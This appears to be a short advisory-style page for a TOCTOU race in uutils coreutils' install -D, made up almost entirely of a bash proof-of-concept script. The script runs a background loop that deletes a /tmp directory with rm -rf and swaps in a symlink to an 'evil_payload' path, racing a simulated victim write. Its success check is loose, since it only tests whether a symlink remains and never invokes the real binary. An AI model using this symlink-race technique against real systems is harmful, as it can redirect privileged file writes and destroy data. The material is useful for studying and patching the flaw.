CVE-2026-35356: uutils coreutils TOCTOU漏洞

#!/bin/bash # PoC for CVE-2026-35356 # This script demonstrates the race condition. TARGET_DIR="/tmp/vuln_target" SYMLINK_TARGET="/tmp/evil_payload" mkdir -p "$TARGET_DIR" # Attacker process in background ( while true; do rm -rf "$TARGET_DIR" ln -s "$SYMLINK_TARGET" "$TARGET_DIR" done ) & ATTACKER_PID=$! # Victim process (simulating install -D) for i in {1..100}; do # Simulating: install -D source /tmp/vuln_target/file.txt # In a real scenario, this triggers the vulnerable binary touch "$TARGET_DIR/file.txt" 2>/dev/null && echo "Success" && break sleep 0.01 done kill $ATTACKER_PID if [ -L "$TARGET_DIR" ]; then echo "[+] Exploit likely successful: Symlink replaced directory" else echo "[-] Exploit failed" fi